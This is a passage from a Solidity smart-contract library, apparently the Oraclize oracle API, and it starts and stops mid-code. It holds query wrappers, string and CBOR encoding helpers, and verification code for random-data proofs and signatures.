oraclize_setNetworkName("eth_ropsten3"); return true; } if (getCodeSize(0xB7A07BcF2Ba2f2703b24C0691b5278999C59AC7e)>0){ //kovan testnet OAR = OraclizeAddrResolverI(0xB7A07BcF2Ba2f2703b24C0691b5278999C59AC7e); oraclize_setNetworkName("eth_kovan"); return true; } if (getCodeSize(0x146500cfd35B22E4A392Fe0aDc06De1a1368Ed48)>0){ //rinkeby testnet OAR = OraclizeAddrResolverI(0x146500cfd35B22E4A392Fe0aDc06De1a1368Ed48); oraclize_setNetworkName("eth_rinkeby"); return true; } if (getCodeSize(0x6f485C8BF6fc43eA212E93BBF8ce046C7f1cb475)>0){ //ethereum-bridge OAR = OraclizeAddrResolverI(0x6f485C8BF6fc43eA212E93BBF8ce046C7f1cb475); return true; } if (getCodeSize(0x20e12A1F859B3FeaE5Fb2A0A32C18F5a65555bBF)>0){ //ether.camp ide OAR = OraclizeAddrResolverI(0x20e12A1F859B3FeaE5Fb2A0A32C18F5a65555bBF); return true; } if (getCodeSize(0x51efaF4c8B3C9AfBD5aB9F4bbC82784Ab6ef8fAA)>0){ //browser-solidity OAR = OraclizeAddrResolverI(0x51efaF4c8B3C9AfBD5aB9F4bbC82784Ab6ef8fAA); return true; } return false; } function __callback(bytes32 myid, string result) { __callback(myid, result, new bytes(0)); } function __callback(bytes32 myid, string result, bytes proof) { } function oraclize_useCoupon(string code) oraclizeAPI internal { oraclize.useCoupon(code); } function oraclize_getPrice(string datasource) oraclizeAPI internal returns (uint){ return oraclize.getPrice(datasource); } function oraclize_getPrice(string datasource, uint gaslimit) oraclizeAPI internal returns (uint){ return oraclize.getPrice(datasource, gaslimit); } function oraclize_query(string datasource, string arg) oraclizeAPI internal returns (bytes32 id){ uint price = oraclize.getPrice(datasource); if (price > 1 ether + tx.gasprice*200000) return 0; // unexpectedly high price return oraclize.query.value(price)(0, datasource, arg); } function oraclize_query(uint timestamp, string datasource, string arg) oraclizeAPI internal returns (bytes32 id){ uint price = oraclize.getPrice(datasource); if (price > 1 ether + tx.gasprice*200000) return 0; // unexpectedly high price return oraclize.query.value(price)(timestamp, datasource, arg); } function oraclize_query(uint timestamp, string datasource, string arg, uint gaslimit) oraclizeAPI internal returns (bytes32 id){ uint price = oraclize.getPrice(datasource, gaslimit); if (price > 1 ether + tx.gasprice*gaslimit) return 0; // unexpectedly high price return oraclize.query_withGasLimit.value(price)(timestamp, datasource, arg, gaslimit); } function oraclize_query(string datasource, string arg, uint gaslimit) oraclizeAPI internal returns (bytes32 id){ uint price = oraclize.getPrice(datasource, gaslimit); if (price > 1 ether + tx.gasprice*gaslimit) return 0; // unexpectedly high price return oraclize.query_withGasLimit.value(price)(0, datasource, arg, gaslimit); } function oraclize_query(string datasource, string arg1, string arg2) oraclizeAPI internal returns (bytes32 id){ uint price = oraclize.getPrice(datasource); if (price > 1 ether + tx.gasprice*200000) return 0; // unexpectedly high price return oraclize.query2.value(price)(0, datasource, arg1, arg2); } function oraclize_query(uint timestamp, string datasource, string arg1, string arg2) oraclizeAPI internal returns (bytes32 id){ uint price = oraclize.getPrice(datasource); if (price > 1 ether + tx.gasprice*200000) return 0; // unexpectedly high price return oraclize.query2.value(price)(timestamp, datasource, arg1, arg2); } function oraclize_query(uint timestamp, string datasource, string arg1, string arg2, uint gaslimit) oraclizeAPI internal returns (bytes32 id){ uint price = oraclize.getPrice(datasource, gaslimit); if (price > 1 ether + tx.gasprice*gaslimit) return 0; // unexpectedly high price return oraclize.query2_withGasLimit.value(price)(timestamp, datasource, arg1, arg2, gaslimit); } function oraclize_query(string datasource, string arg1, string arg2, uint gaslimit) oraclizeAPI internal returns (bytes32 id){ uint price = oraclize.getPrice(datasource, gaslimit); if (price > 1 ether + tx.gasprice*gaslimit) return 0; // unexpectedly high price return oraclize.query2_withGasLimit.value(price)(0, datasource, arg1, arg2, gaslimit); } function oraclize_query(string datasource, string[] argN) oraclizeAPI internal returns (bytes32 id){ uint price = oraclize.getPrice(datasource); if (price > 1 ether + tx.gasprice*200000) return 0; // unexpectedly high price bytes memory args = stra2cbor(argN); return oraclize.queryN.value(price)(0, datasource, args); } function oraclize_query(uint timestamp, string datasource, string[] argN) oraclizeAPI internal returns (bytes32 id){ uint price = oraclize.getPrice(datasource); if (price > 1 ether + tx.gasprice*200000) return 0; // unexpectedly high price bytes memory args = stra2cbor(argN); return oraclize.queryN.value(price)(timestamp, datasource, args); } function oraclize_query(uint timestamp, string datasource, string[] argN, uint gaslimit) oraclizeAPI internal returns (bytes32 id){ uint price = oraclize.getPrice(datasource, gaslimit); if (price > 1 ether + tx.gasprice*gaslimit) return 0; // unexpectedly high price bytes memory args = stra2cbor(argN); return oraclize.queryN_withGasLimit.value(price)(timestamp, datasource, args, gaslimit); } function oraclize_query(string datasource, string[] argN, uint gaslimit) oraclizeAPI internal returns (bytes32 id){ uint price = oraclize.getPrice(datasource, gaslimit); if (price > 1 ether + tx.gasprice*gaslimit) return 0; // unexpectedly high price bytes memory args = stra2cbor(argN); return oraclize.queryN_withGasLimit.value(price)(0, datasource, args, gaslimit); } function oraclize_query(string datasource, string[1] args) oraclizeAPI internal returns (bytes32 id) { string[] memory dynargs = new string[](1); dynargs[0] = args[0]; return oraclize_query(datasource, dynargs); } function oraclize_query(uint timestamp, string datasource, string[1] args) oraclizeAPI internal returns (bytes32 id) { string[] memory dynargs = new string[](1); dynargs[0] = args[0]; return oraclize_query(timestamp, datasource, dynargs); } function oraclize_query(uint timestamp, string datasource, string[1] args, uint gaslimit) oraclizeAPI internal returns (bytes32 id) { string[] memory dynargs = new string[](1); dynargs[0] = args[0]; return oraclize_query(timestamp, datasource, dynargs, gaslimit); } function oraclize_query(string datasource, string[1] args, uint gaslimit) oraclizeAPI internal returns (bytes32 id) { string[] memory dynargs = new string[](1); dynargs[0] = args[0]; return oraclize_query(datasource, dynargs, gaslimit); } function oraclize_query(string datasource, string[2] args) oraclizeAPI internal returns (bytes32 id) { string[] memory dynargs = new string[](2); dynargs[0] = args[0]; dynargs[1] = args[1]; return oraclize_query(datasource, dynargs); } function oraclize_query(uint timestamp, string datasource, string[2] args) oraclizeAPI internal returns (bytes32 id) { string[] memory dynargs = new string[](2); dynargs[0] = args[0]; dynargs[1] = args[1]; return oraclize_query(timestamp, datasource, dynargs); } function oraclize_query(uint timestamp, string datasource, string[2] args, uint gaslimit) oraclizeAPI internal returns (bytes32 id) { string[] memory dynargs = new string[](2); dynargs[0] = args[0]; dynargs[1] = args[1]; return oraclize_query(timestamp, datasource, dynargs, gaslimit); } function oraclize_query(string datasource, string[2] args, uint gaslimit) oraclizeAPI internal returns (bytes32 id) { string[] memory dynargs = new string[](2); dynargs[0] = args[0]; dynargs[1] = args[1]; return oraclize_query(datasource, dynargs, gaslimit); } function oraclize_query(string datasource, string[3] args) oraclizeAPI internal returns (bytes32 id) { string[] memory dynargs = new string[](3); dynargs[0] = args[0]; dynargs[1] = args[1]; dynargs[2] = args[2]; return oraclize_query(datasource, dynargs); } function oraclize_query(uint timestamp, string datasource, string[3] args) oraclizeAPI internal returns (bytes32 id) { string[] memory dynargs = new string[](3); dynargs[0] = args[0]; dynargs[1] = args[1]; dynargs[2] = args[2]; return oraclize_query(timestamp, datasource, dynargs); } function oraclize_query(uint timestamp, string datasource, string[3] args, uint gaslimit) oraclizeAPI internal returns (bytes32 id) { string[] memory dynargs = new string[](3); dynargs[0] = args[0]; dynargs[1] = args[1]; dynargs[2] = args[2]; return oraclize_query(timestamp, datasource, dynargs, gaslimit); } function oraclize_query(string datasource, string[3] args, uint gaslimit) oraclizeAPI internal returns (bytes32 id) { string[] memory dynargs = new string[](3); dynargs[0] = args[0]; dynargs[1] = args[1]; dynargs[2] = args[2]; return oraclize_query(datasource, dynargs, gaslimit); } function oraclize_query(string datasource, string[4] args) oraclizeAPI internal returns (bytes32 id) { string[] memory dynargs = new string[](4); dynargs[0] = args[0]; dynargs[1] = args[1]; dynargs[2] = args[2]; dynargs[3] = args[3]; return oraclize_query(datasource, dynargs); } function oraclize_query(uint timestamp, string datasource, string[4] args) oraclizeAPI internal returns (bytes32 id) { string[] memory dynargs = new string[](4); dynargs[0] = args[0]; dynargs[1] = args[1]; dynargs[2] = args[2]; dynargs[3] = args[3]; return oraclize_query(timestamp, datasource, dynargs); } function oraclize_query(uint timestamp, string datasource, string[4] args, uint gaslimit) oraclizeAPI internal returns (bytes32 id) { string[] memory dynargs = new string[](4); dynargs[0] = args[0]; dynargs[1] = args[1]; dynargs[2] = args[2]; dynargs[3] = args[3]; return oraclize_query(timestamp, datasource, dynargs, gaslimit); } function oraclize_query(string datasource, string[4] args, uint gaslimit) oraclizeAPI internal returns (bytes32 id) { string[] memory dynargs = new string[](4); dynargs[0] = args[0]; dynargs[1] = args[1]; dynargs[2] = args[2]; dynargs[3] = args[3]; return oraclize_query(datasource, dynargs, gaslimit); } function oraclize_query(string datasource, string[5] args) oraclizeAPI internal returns (bytes32 id) { string[] memory dynargs = new string[](5); dynargs[0] = args[0]; dynargs[1] = args[1]; dynargs[2] = args[2]; dynargs[3] = args[3]; dynargs[4] = args[4]; return oraclize_query(datasource, dynargs); } function oraclize_query(uint timestamp, string datasource, string[5] args) oraclizeAPI internal returns (bytes32 id) { string[] memory dynargs = new string[](5); dynargs[0] = args[0]; dynargs[1] = args[1]; dynargs[2] = args[2]; dynargs[3] = args[3]; dynargs[4] = args[4]; return oraclize_query(timestamp, datasource, dynargs); } function oraclize_query(uint timestamp, string datasource, string[5] args, uint gaslimit) oraclizeAPI internal returns (bytes32 id) { string[] memory dynargs = new string[](5); dynargs[0] = args[0]; dynargs[1] = args[1]; dynargs[2] = args[2]; dynargs[3] = args[3]; dynargs[4] = args[4]; return oraclize_query(timestamp, datasource, dynargs, gaslimit); } function oraclize_query(string datasource, string[5] args, uint gaslimit) oraclizeAPI internal returns (bytes32 id) { string[] memory dynargs = new string[](5); dynargs[0] = args[0]; dynargs[1] = args[1]; dynargs[2] = args[2]; dynargs[3] = args[3]; dynargs[4] = args[4]; return oraclize_query(datasource, dynargs, gaslimit); } function oraclize_query(string datasource, bytes[] argN) oraclizeAPI internal returns (bytes32 id){ uint price = oraclize.getPrice(datasource); if (price > 1 ether + tx.gasprice*200000) return 0; // unexpectedly high price bytes memory args = ba2cbor(argN); return oraclize.queryN.value(price)(0, datasource, args); } function oraclize_query(uint timestamp, string datasource, bytes[] argN) oraclizeAPI internal returns (bytes32 id){ uint price = oraclize.getPrice(datasource); if (price > 1 ether + tx.gasprice*200000) return 0; // unexpectedly high price bytes memory args = ba2cbor(argN); return oraclize.queryN.value(price)(timestamp, datasource, args); } function oraclize_query(uint timestamp, string datasource, bytes[] argN, uint gaslimit) oraclizeAPI internal returns (bytes32 id){ uint price = oraclize.getPrice(datasource, gaslimit); if (price > 1 ether + tx.gasprice*gaslimit) return 0; // unexpectedly high price bytes memory args = ba2cbor(argN); return oraclize.queryN_withGasLimit.value(price)(timestamp, datasource, args, gaslimit); } function oraclize_query(string datasource, bytes[] argN, uint gaslimit) oraclizeAPI internal returns (bytes32 id){ uint price = oraclize.getPrice(datasource, gaslimit); if (price > 1 ether + tx.gasprice*gaslimit) return 0; // unexpectedly high price bytes memory args = ba2cbor(argN); return oraclize.queryN_withGasLimit.value(price)(0, datasource, args, gaslimit); } function oraclize_query(string datasource, bytes[1] args) oraclizeAPI internal returns (bytes32 id) { bytes[] memory dynargs = new bytes[](1); dynargs[0] = args[0]; return oraclize_query(datasource, dynargs); } function oraclize_query(uint timestamp, string datasource, bytes[1] args) oraclizeAPI internal returns (bytes32 id) { bytes[] memory dynargs = new bytes[](1); dynargs[0] = args[0]; return oraclize_query(timestamp, datasource, dynargs); } function oraclize_query(uint timestamp, string datasource, bytes[1] args, uint gaslimit) oraclizeAPI internal returns (bytes32 id) { bytes[] memory dynargs = new bytes[](1); dynargs[0] = args[0]; return oraclize_query(timestamp, datasource, dynargs, gaslimit); } function oraclize_query(string datasource, bytes[1] args, uint gaslimit) oraclizeAPI internal returns (bytes32 id) { bytes[] memory dynargs = new bytes[](1); dynargs[0] = args[0]; return oraclize_query(datasource, dynargs, gaslimit); } function oraclize_query(string datasource, bytes[2] args) oraclizeAPI internal returns (bytes32 id) { bytes[] memory dynargs = new bytes[](2); dynargs[0] = args[0]; dynargs[1] = args[1]; return oraclize_query(datasource, dynargs); } function oraclize_query(uint timestamp, string datasource, bytes[2] args) oraclizeAPI internal returns (bytes32 id) { bytes[] memory dynargs = new bytes[](2); dynargs[0] = args[0]; dynargs[1] = args[1]; return oraclize_query(timestamp, datasource, dynargs); } function oraclize_query(uint timestamp, string datasource, bytes[2] args, uint gaslimit) oraclizeAPI internal returns (bytes32 id) { bytes[] memory dynargs = new bytes[](2); dynargs[0] = args[0]; dynargs[1] = args[1]; return oraclize_query(timestamp, datasource, dynargs, gaslimit); } function oraclize_query(string datasource, bytes[2] args, uint gaslimit) oraclizeAPI internal returns (bytes32 id) { bytes[] memory dynargs = new bytes[](2); dynargs[0] = args[0]; dynargs[1] = args[1]; return oraclize_query(datasource, dynargs, gaslimit); } function oraclize_query(string datasource, bytes[3] args) oraclizeAPI internal returns (bytes32 id) { bytes[] memory dynargs = new bytes[](3); dynargs[0] = args[0]; dynargs[1] = args[1]; dynargs[2] = args[2]; return oraclize_query(datasource, dynargs); } function oraclize_query(uint timestamp, string datasource, bytes[3] args) oraclizeAPI internal returns (bytes32 id) { bytes[] memory dynargs = new bytes[](3); dynargs[0] = args[0]; dynargs[1] = args[1]; dynargs[2] = args[2]; return oraclize_query(timestamp, datasource, dynargs); } function oraclize_query(uint timestamp, string datasource, bytes[3] args, uint gaslimit) oraclizeAPI internal returns (bytes32 id) { bytes[] memory dynargs = new bytes[](3); dynargs[0] = args[0]; dynargs[1] = args[1]; dynargs[2] = args[2]; return oraclize_query(timestamp, datasource, dynargs, gaslimit); } function oraclize_query(string datasource, bytes[3] args, uint gaslimit) oraclizeAPI internal returns (bytes32 id) { bytes[] memory dynargs = new bytes[](3); dynargs[0] = args[0]; dynargs[1] = args[1]; dynargs[2] = args[2]; return oraclize_query(datasource, dynargs, gaslimit); } function oraclize_query(string datasource, bytes[4] args) oraclizeAPI internal returns (bytes32 id) { bytes[] memory dynargs = new bytes[](4); dynargs[0] = args[0]; dynargs[1] = args[1]; dynargs[2] = args[2]; dynargs[3] = args[3]; return oraclize_query(datasource, dynargs); } function oraclize_query(uint timestamp, string datasource, bytes[4] args) oraclizeAPI internal returns (bytes32 id) { bytes[] memory dynargs = new bytes[](4); dynargs[0] = args[0]; dynargs[1] = args[1]; dynargs[2] = args[2]; dynargs[3] = args[3]; return oraclize_query(timestamp, datasource, dynargs); } function oraclize_query(uint timestamp, string datasource, bytes[4] args, uint gaslimit) oraclizeAPI internal returns (bytes32 id) { bytes[] memory dynargs = new bytes[](4); dynargs[0] = args[0]; dynargs[1] = args[1]; dynargs[2] = args[2]; dynargs[3] = args[3]; return oraclize_query(timestamp, datasource, dynargs, gaslimit); } function oraclize_query(string datasource, bytes[4] args, uint gaslimit) oraclizeAPI internal returns (bytes32 id) { bytes[] memory dynargs = new bytes[](4); dynargs[0] = args[0]; dynargs[1] = args[1]; dynargs[2] = args[2]; dynargs[3] = args[3]; return oraclize_query(datasource, dynargs, gaslimit); } function oraclize_query(string datasource, bytes[5] args) oraclizeAPI internal returns (bytes32 id) { bytes[] memory dynargs = new bytes[](5); dynargs[0] = args[0]; dynargs[1] = args[1]; dynargs[2] = args[2]; dynargs[3] = args[3]; dynargs[4] = args[4]; return oraclize_query(datasource, dynargs); } function oraclize_query(uint timestamp, string datasource, bytes[5] args) oraclizeAPI internal returns (bytes32 id) { bytes[] memory dynargs = new bytes[](5); dynargs[0] = args[0]; dynargs[1] = args[1]; dynargs[2] = args[2]; dynargs[3] = args[3]; dynargs[4] = args[4]; return oraclize_query(timestamp, datasource, dynargs); } function oraclize_query(uint timestamp, string datasource, bytes[5] args, uint gaslimit) oraclizeAPI internal returns (bytes32 id) { bytes[] memory dynargs = new bytes[](5); dynargs[0] = args[0]; dynargs[1] = args[1]; dynargs[2] = args[2]; dynargs[3] = args[3]; dynargs[4] = args[4]; return oraclize_query(timestamp, datasource, dynargs, gaslimit); } function oraclize_query(string datasource, bytes[5] args, uint gaslimit) oraclizeAPI internal returns (bytes32 id) { bytes[] memory dynargs = new bytes[](5); dynargs[0] = args[0]; dynargs[1] = args[1]; dynargs[2] = args[2]; dynargs[3] = args[3]; dynargs[4] = args[4]; return oraclize_query(datasource, dynargs, gaslimit); } function oraclize_cbAddress() oraclizeAPI internal returns (address){ return oraclize.cbAddress(); } function oraclize_setProof(byte proofP) oraclizeAPI internal { return oraclize.setProofType(proofP); } function oraclize_setCustomGasPrice(uint gasPrice) oraclizeAPI internal { return oraclize.setCustomGasPrice(gasPrice); } function oraclize_setConfig(bytes32 config) oraclizeAPI internal { return oraclize.setConfig(config); } function oraclize_randomDS_getSessionPubKeyHash() oraclizeAPI internal returns (bytes32){ return oraclize.randomDS_getSessionPubKeyHash(); } function getCodeSize(address _addr) constant internal returns(uint _size) { assembly { _size := extcodesize(_addr) } } function parseAddr(string _a) internal returns (address){ bytes memory tmp = bytes(_a); uint160 iaddr = 0; uint160 b1; uint160 b2; for (uint i=2; i<2+2*20; i+=2){ iaddr *= 256; b1 = uint160(tmp[i]); b2 = uint160(tmp[i+1]); if ((b1 >= 97)&&(b1 <= 102)) b1 -= 87; else if ((b1 >= 65)&&(b1 <= 70)) b1 -= 55; else if ((b1 >= 48)&&(b1 <= 57)) b1 -= 48; if ((b2 >= 97)&&(b2 <= 102)) b2 -= 87; else if ((b2 >= 65)&&(b2 <= 70)) b2 -= 55; else if ((b2 >= 48)&&(b2 <= 57)) b2 -= 48; iaddr += (b1*16+b2); } return address(iaddr); } function strCompare(string _a, string _b) internal returns (int) { bytes memory a = bytes(_a); bytes memory b = bytes(_b); uint minLength = a.length; if (b.length < minLength) minLength = b.length; for (uint i = 0; i < minLength; i ++) if (a[i] < b[i]) return -1; else if (a[i] > b[i]) return 1; if (a.length < b.length) return -1; else if (a.length > b.length) return 1; else return 0; } function indexOf(string _haystack, string _needle) internal returns (int) { bytes memory h = bytes(_haystack); bytes memory n = bytes(_needle); if(h.length < 1 || n.length < 1 || (n.length > h.length)) return -1; else if(h.length > (2**128 -1)) return -1; else { uint subindex = 0; for (uint i = 0; i < h.length; i ++) { if (h[i] == n[0]) { subindex = 1; while(subindex < n.length && (i + subindex) < h.length && h[i + subindex] == n[subindex]) { subindex++; } if(subindex == n.length) return int(i); } } return -1; } } function strConcat(string _a, string _b, string _c, string _d, string _e) internal returns (string) { bytes memory _ba = bytes(_a); bytes memory _bb = bytes(_b); bytes memory _bc = bytes(_c); bytes memory _bd = bytes(_d); bytes memory _be = bytes(_e); string memory abcde = new string(_ba.length + _bb.length + _bc.length + _bd.length + _be.length); bytes memory babcde = bytes(abcde); uint k = 0; for (uint i = 0; i < _ba.length; i++) babcde[k++] = _ba[i]; for (i = 0; i < _bb.length; i++) babcde[k++] = _bb[i]; for (i = 0; i < _bc.length; i++) babcde[k++] = _bc[i]; for (i = 0; i < _bd.length; i++) babcde[k++] = _bd[i]; for (i = 0; i < _be.length; i++) babcde[k++] = _be[i]; return string(babcde); } function strConcat(string _a, string _b, string _c, string _d) internal returns (string) { return strConcat(_a, _b, _c, _d, ""); } function strConcat(string _a, string _b, string _c) internal returns (string) { return strConcat(_a, _b, _c, "", ""); } function strConcat(string _a, string _b) internal returns (string) { return strConcat(_a, _b, "", "", ""); } // parseInt function parseInt(string _a) internal returns (uint) { return parseInt(_a, 0); } // parseInt(parseFloat*10^_b) function parseInt(string _a, uint _b) internal returns (uint) { bytes memory bresult = bytes(_a); uint mint = 0; bool decimals = false; for (uint i=0; i<bresult.length; i++){ if ((bresult[i] >= 48)&&(bresult[i] <= 57)){ if (decimals){ if (_b == 0) break; else _b--; } mint *= 10; mint += uint(bresult[i]) - 48; } else if (bresult[i] == 46) decimals = true; } if (_b > 0) mint *= 10**_b; return mint; } function uint2str(uint i) internal returns (string){ if (i == 0) return "0"; uint j = i; uint len; while (j != 0){ len++; j /= 10; } bytes memory bstr = new bytes(len); uint k = len - 1; while (i != 0){ bstr[k--] = byte(48 + i % 10); i /= 10; } return string(bstr); } function stra2cbor(string[] arr) internal returns (bytes) { uint arrlen = arr.length; // get correct cbor output length uint outputlen = 0; bytes[] memory elemArray = new bytes[](arrlen); for (uint i = 0; i < arrlen; i++) { elemArray[i] = (bytes(arr[i])); outputlen += elemArray[i].length + (elemArray[i].length - 1)/23 + 3; //+3 accounts for paired identifier types } uint ctr = 0; uint cborlen = arrlen + 0x80; outputlen += byte(cborlen).length; bytes memory res = new bytes(outputlen); while (byte(cborlen).length > ctr) { res[ctr] = byte(cborlen)[ctr]; ctr++; } for (i = 0; i < arrlen; i++) { res[ctr] = 0x5F; ctr++; for (uint x = 0; x < elemArray[i].length; x++) { // if there's a bug with larger strings, this may be the culprit if (x % 23 == 0) { uint elemcborlen = elemArray[i].length - x >= 24 ? 23 : elemArray[i].length - x; elemcborlen += 0x40; uint lctr = ctr; while (byte(elemcborlen).length > ctr - lctr) { res[ctr] = byte(elemcborlen)[ctr - lctr]; ctr++; } } res[ctr] = elemArray[i][x]; ctr++; } res[ctr] = 0xFF; ctr++; } return res; } function ba2cbor(bytes[] arr) internal returns (bytes) { uint arrlen = arr.length; // get correct cbor output length uint outputlen = 0; bytes[] memory elemArray = new bytes[](arrlen); for (uint i = 0; i < arrlen; i++) { elemArray[i] = (bytes(arr[i])); outputlen += elemArray[i].length + (elemArray[i].length - 1)/23 + 3; //+3 accounts for paired identifier types } uint ctr = 0; uint cborlen = arrlen + 0x80; outputlen += byte(cborlen).length; bytes memory res = new bytes(outputlen); while (byte(cborlen).length > ctr) { res[ctr] = byte(cborlen)[ctr]; ctr++; } for (i = 0; i < arrlen; i++) { res[ctr] = 0x5F; ctr++; for (uint x = 0; x < elemArray[i].length; x++) { // if there's a bug with larger strings, this may be the culprit if (x % 23 == 0) { uint elemcborlen = elemArray[i].length - x >= 24 ? 23 : elemArray[i].length - x; elemcborlen += 0x40; uint lctr = ctr; while (byte(elemcborlen).length > ctr - lctr) { res[ctr] = byte(elemcborlen)[ctr - lctr]; ctr++; } } res[ctr] = elemArray[i][x]; ctr++; } res[ctr] = 0xFF; ctr++; } return res; } string oraclize_network_name; function oraclize_setNetworkName(string _network_name) internal { oraclize_network_name = _network_name; } function oraclize_getNetworkName() internal returns (string) { return oraclize_network_name; } function oraclize_newRandomDSQuery(uint _delay, uint _nbytes, uint _customGasLimit) internal returns (bytes32){ if ((_nbytes == 0)||(_nbytes > 32)) throw; bytes memory nbytes = new bytes(1); nbytes[0] = byte(_nbytes); bytes memory unonce = new bytes(32); bytes memory sessionKeyHash = new bytes(32); bytes32 sessionKeyHash_bytes32 = oraclize_randomDS_getSessionPubKeyHash(); assembly { mstore(unonce, 0x20) mstore(add(unonce, 0x20), xor(blockhash(sub(number, 1)), xor(coinbase, timestamp))) mstore(sessionKeyHash, 0x20) mstore(add(sessionKeyHash, 0x20), sessionKeyHash_bytes32) } bytes[3] memory args = [unonce, nbytes, sessionKeyHash]; bytes32 queryId = oraclize_query(_delay, "random", args, _customGasLimit); oraclize_randomDS_setCommitment(queryId, sha3(bytes8(_delay), args[1], sha256(args[0]), args[2])); return queryId; } function oraclize_randomDS_setCommitment(bytes32 queryId, bytes32 commitment) internal { oraclize_randomDS_args[queryId] = commitment; } mapping(bytes32=>bytes32) oraclize_randomDS_args; mapping(bytes32=>bool) oraclize_randomDS_sessionKeysHashVerified; function verifySig(bytes32 tosignh, bytes dersig, bytes pubkey) internal returns (bool){ bool sigok; address signer; bytes32 sigr; bytes32 sigs; bytes memory sigr_ = new bytes(32); uint offset = 4+(uint(dersig[3]) - 0x20); sigr_ = copyBytes(dersig, offset, 32, sigr_, 0); bytes memory sigs_ = new bytes(32); offset += 32 + 2; sigs_ = copyBytes(dersig, offset+(uint(dersig[offset-1]) - 0x20), 32, sigs_, 0); assembly { sigr := mload(add(sigr_, 32)) sigs := mload(add(sigs_, 32)) } (sigok, signer) = safer_ecrecover(tosignh, 27, sigr, sigs); if (address(sha3(pubkey)) == signer) return true; else { (sigok, signer) = safer_ecrecover(tosignh, 28, sigr, sigs); return (address(sha3(pubkey)) == signer); } } function oraclize_randomDS_proofVerify__sessionKeyValidity(bytes proof, uint sig2offset) internal returns (bool) { bool sigok; // Step 6: verify the attestation signature, APPKEY1 must sign the sessionKey from the correct ledger app (CODEHASH) bytes memory sig2 = new bytes(uint(proof[sig2offset+1])+2); copyBytes(proof, sig2offset, sig2.length, sig2, 0); bytes memory appkey1_pubkey = new bytes(64); copyBytes(proof, 3+1, 64, appkey1_pubkey, 0); bytes memory tosign2 = new bytes(1+65+32); tosign2[0] = 1; //role copyBytes(proof, sig2offset-65, 65, tosign2, 1); bytes memory CODEHASH = hex"fd94fa71bc0ba10d39d464d0d8f465efeef0a2764e3887fcc9df41ded20f505c"; copyBytes(CODEHASH, 0, 32, tosign2, 1+65); sigok = verifySig(sha256(tosign2), sig2, appkey1_pubkey); if (sigok == false) return false; // Step 7: verify the APPKEY1 provenance (must be signed by Ledger) bytes memory LEDGERKEY = hex"7fb956469c5c9b89840d55b43537e66a98dd4811ea0a27224272c2e5622911e8537a2f8e86a46baec82864e98dd01e9ccc2f8bc5dfc9cbe5a91a290498dd96e4"; bytes memory tosign3 = new bytes(1+65); tosign3[0] = 0xFE; copyBytes(proof, 3, 65, tosign3, 1); bytes memory sig3 = new bytes(uint(proof[3+65+1])+2); copyBytes(proof, 3+65, sig3.length, sig3, 0); sigok = verifySig(sha256(tosign3), sig3, LEDGERKEY); return sigok; } modifier oraclize_randomDS_proofVerify(bytes32 _queryId, string _result, bytes _proof) { // Step 1: the prefix has to match 'LP\x01' (Ledger Proof version 1) if ((_proof[0] != "L")||(_proof[1] != "P")||(_proof[2] != 1)) throw; bool proofVerified = oraclize_randomDS_proofVerify__main(_proof, _queryId, bytes(_result), oraclize_getNetworkName()); if (proofVerified == false) throw; _; } function matchBytes32Prefix(bytes32 content, bytes prefix) internal returns (bool){ bool match_ = true; for (var i=0; i<prefix.length; i++){ if (content[i] != prefix[i]) match_ = false; } return match_; } function oraclize_randomDS_proofVerify__main(bytes proof, bytes32 queryId, bytes result, string context_name) internal returns (bool){ bool checkok; // Step 2: the unique keyhash has to match with the sha256 of (context name + queryId) uint ledgerProofLength = 3+65+(uint(proof[3+65+1])+2)+32; bytes memory keyhash = new bytes(32); copyBytes(proof, ledgerProofLength, 32, keyhash, 0); checkok = (sha3(keyhash) == sha3(sha256(context_name, queryId))); if (checkok == false) return false; bytes memory sig1 = new bytes(uint(proof[ledgerProofLength+(32+8+1+32)+1])+2); copyBytes(proof, ledgerProofLength+(32+8+1+32), sig1.length, sig1, 0); // Step 3: we assume sig1 is valid (it will be verified during step 5) and we verify if 'result' is the prefix of sha256(sig1) checkok = matchBytes32Prefix(sha256(sig1), result); if (checkok == false) return false; // Step 4: commitment match verification, sha3(delay, nbytes, unonce, sessionKeyHash) == commitment in storage. // This is to verify that the computed args match with the ones specified in the query. bytes memory commitmentSlice1 = new bytes(8+1+32); copyBytes(proof, ledgerProofLength+32, 8+1+32, commitmentSlice1, 0); bytes memory sessionPubkey = new bytes(64); uint sig2offset = ledgerProofLength+32+(8+1+32)+sig1.length+65; copyBytes(proof, sig2offset-64, 64, sessionPubkey, 0); bytes32 sessionPubkeyHash = sha256(sessionPubkey); if (oraclize_randomDS_args[queryId] == sha3(commitmentSlice1, sessionPubkeyHash)){ //unonce, nbytes and sessionKeyHash match delete oraclize_randomDS_args[queryId]; } else return false; // Step 5: validity verification for sig1 (keyhash and args signed with the sessionKey) bytes memory tosign1 = new bytes(32+8+1+32); copyBytes(proof, ledgerProofLength, 32+8+1+32, tosign1, 0); checkok = verifySig(sha256(tosign1), sig1, sessionPubkey); if (checkok == false) return false; // verify if sessionPubkeyHash was verified already, if not.. let's do it! if (oraclize_randomDS_sessionKeysHashVerified[sessionPubkeyHash] == false){ oraclize_randomDS_sessionKeysHashVerified[sessionPubkeyHash] = oraclize_randomDS_proofVerify__sessionKeyValidity(proof, sig2offset); } return oraclize_randomDS_sessionKeysHashVerified[sessionPubkeyHash]; } // the following function has been written by Alex Beregszaszi (@axic), use it under the terms of the MIT license function copyBytes(bytes from, uint fromOffset, uint length, bytes to, uint toOffset) internal returns (bytes) { uint minLength = length + toOffset; if (to.length < minLength) { // Buffer too small throw; // Should be a better way? } // NOTE: the offset 32 is added to skip the `size` field of both bytes variables uint i = 32 + fromOffset; uint j = 32 + toOffset; while (i < (32 + fromOffset + length)) { assembly { let tmp := mload(add(from, i)) mstore(add(to, j), tmp) } i += 32; j += 32; } return to; } // the following function has been written by Alex Beregszaszi (@axic), use it under the terms of the MIT license // Duplicate Solidity's ecrecover, but catching the CALL return value function safer_ecrecover(bytes32 hash, uint8 v, bytes32 r, bytes32 s) internal returns (bool, address) { // We do our own memory management here. Solidity uses memory offset // 0x40 to store the current end of memory. We write past it (as // writes are memory extensions), but don't update the offset so // Solidity will reuse it. The memory used here is only needed for // this context. // FIXME: inline assembly can't access return values bool ret; address addr; assembly { let size := mload(0x40) mstore(size, hash) mstore(add(size, 32), v) mstore(add(size, 64), r) mstore(add(size, 96), s) // NOTE: we can reuse the request memory because we deal with // the return code ret := call(3000, 1, 0, size, 128, size, 32) addr := mload(size) } return (ret, addr); } // the following function has been written by Alex Beregszaszi (@axic), use it under the terms of the MIT license function ecrecovery(bytes32 hash, bytes sig) internal returns (bool, address) { bytes32 r; bytes32 s; uint8 v; if (sig.length != 65) return (false, 0); // The signature format is a compact form of: // 